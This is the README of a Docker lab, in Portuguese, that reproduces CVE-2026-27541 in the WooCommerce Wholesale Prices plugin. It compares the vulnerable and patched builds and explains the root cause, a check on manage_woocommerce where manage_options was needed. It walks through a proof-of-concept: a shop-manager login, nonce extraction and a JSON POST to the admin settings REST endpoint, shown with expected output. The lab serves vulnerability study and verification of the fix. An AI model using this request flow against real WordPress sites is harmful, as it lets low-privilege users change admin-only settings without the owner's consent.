
Laboratório Docker para reproduzir o CVE-2026-27541, uma escalada de privilégios autenticada no WooCommerce Wholesale Prices. Compara builds vulneráveis e corrigidas, inclui script de PoC e análise da causa raiz.

Este projeto é um laboratório Docker local para analisar e reproduzir o comportamento da CVE-2026-27541 no plugin WooCommerce Wholesale Prices / Wholesale Suite, comparando as versões vulnerável e corrigida lado a lado na mesma máquina.
O problema central é Controle de Acesso Quebrado no seguinte endpoint da API REST:
/wp-json/wwp/v1/admin/save
Com base no código-fonte usado neste laboratório, essa rota já possui um permission_callback tanto nas versões vulnerável quanto corrigida. No entanto, a versão afetada usa uma verificação de capacidade ampla demais para uma ação de gravação de configurações administrativas:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )Neste laboratório, o usuário shopmgr, que possui o papel shop_manager, tem manage_woocommerce=true mas não manage_options. Como resultado, esse usuário de baixo privilégio pode usar uma sessão válida de usuário autenticado mais um X-WP-Nonce válido para invocar o endpoint de gravação de configurações administrativas na versão vulnerável, enquanto a versão corrigida retorna 403 rest_forbidden para a mesma solicitação.
2.2.6): o usuário shopmgr pode chamar com sucesso POST /wp-json/wwp/v1/admin/save e modificar as configurações do plugin.2.2.7): a mesma solicitação de shopmgr é rejeitada com 403.403, o que é consistente com um problema de escalada de privilégios pós-autenticação.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, enquanto a versão corrigida ainda retorna See wholesale prices.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → bancos de dados MariaDB separadosseed-vuln / seed-patched → tarefas de semeadura wp-cli que instalam o WordPress, instalam o plugin, criam usuários e criam um produto para testehttp://localhost:8081 → vulnerávelhttp://localhost:8082 → corrigidowordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — define as pilhas vulnerável e corrigida com bancos de dados separadosscripts/seed-wp.sh — instala WordPress, WooCommerce, o plugin alvo e cria usuários de teste e dados de produtopoc.py — PoC de menor dano para login, extração de nonce e invocação do endpoint RESTQuando a pilha estiver pronta, o script de semeadura cria o seguinte:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7O script também grava lab-secrets.json em cada contêiner WordPress para que os dados semeados e as informações de versão possam ser verificados.
Este PoC não tenta assumir o controle do site, alterar papéis, instalar plugins ou executar um shell.
Ele apenas faz o seguinte:
shopmgrwpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
Essa configuração é usada como um marcador observável para demonstrar que um usuário de baixo privilégio pode modificar configuração exclusiva de administradores.
POST /wp-json/wwp/v1/admin/saveEmbora o endpoint exija uma sessão válida e nonce, a versão vulnerável ainda permite que um usuário de baixo privilégio, como shopmgr com o papel shop_manager, invoque um endpoint que deveria ser exclusivo de administradores.
Esta não é uma vulnerabilidade não autenticada.
Se o endpoint for chamado diretamente sem uma sessão de usuário autenticado, tanto a versão vulnerável quanto a corrigida rejeitam a solicitação. O bug existe na autorização após autenticação, não na autenticação em si.
A versão vulnerável não está sem um permission_callback. A falha é que ela usa uma verificação de capacidade ampla demais (manage_woocommerce) para uma ação REST que grava configurações administrativas.
Do código-fonte em includes/class-wwp-admin-settings.php:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() como o permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
Neste laboratório, o usuário shopmgr, que possui o papel shop_manager, tem manage_woocommerce=true mas não manage_options, portanto passa na verificação vulnerável, mas falha na corrigida.
A versão corrigida faz mais do que alterar a resposta de 200 para 403. Ela altera a lógica de controle de acesso ao restringir o requisito de capacidade de manage_woocommerce para manage_options.
Além disso, o caminho de gravação na versão corrigida é ainda mais reforçado ao abandonar a filtragem baseada em prefixo em favor de listas de permissões explícitas e sanitização mais forte.
O PoC segue o mesmo fluxo de um contexto real de navegador:
shopmgrwpApiSettings.noncePOST /wp-json/wwp/v1/admin/saveComo a versão vulnerável permite que usuários com manage_woocommerce invoquem essa ação de gravação de configurações, a solicitação é bem-sucedida e resulta em uma alteração persistente de opção.
Um nonce ajuda a proteger contra CSRF, mas não é um controle de autorização.
Ter uma sessão válida e um nonce válido não significa que um usuário deve ter permissão para executar uma ação administrativa. Usar uma capacidade excessivamente ampla em um endpoint privilegiado é suficiente para criar uma bypass de autorização de baixo privilégio.
docker compose up -d --build
docker compose ps
Você deve ver pelo menos:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py funciona da seguinte forma:
GET /wp-login.php
POST /wp-login.php para estabelecer uma sessão autenticada
abrir a página administrativa do plugin:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
extrair wpApiSettings.nonce e a raiz REST do HTML/JavaScript
enviar uma solicitação para:
/wp-json/wwp/v1/admin/save
enviar o payload:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)Saída esperada:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)Saída esperada:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
Após o PoC ser bem-sucedido no nó vulnerável:
PWNED_BY_POC
O impacto prático dessa classe de bug é que um usuário de baixo privilégio pode modificar configuração que deveria ser exclusiva de administradores, o que pode levar diretamente a:
Este laboratório usa intencionalmente um payload seguro e observável para evitar alterações de papéis ou qualquer escalada além do necessário para comprovar a condição da vulnerabilidade.
docker compose down -v
localhostEste laboratório mostra que a CVE-2026-27541 é uma bypass de autorização autenticada de baixo privilégio no endpoint de configurações da API REST do plugin. A falha na versão 2.2.6 não é a ausência de uma verificação de permissão, mas o uso de uma capacidade excessivamente ampla (manage_woocommerce) para uma ação que deveria ser restrita ao nível de manage_options.
Neste ambiente local:
shopmgr passa na verificação vulnerável e pode modificar com sucesso configurações administrativas através de POST /wp-json/wwp/v1/admin/save2.2.7PWNED_BY_POC na opção alvo, enquanto a versão corrigida nãoComo resultado, este repositório serve tanto como prova comportamental quanto como prova baseada em código da diferença entre vulnerável e corrigido em um ambiente local totalmente controlado.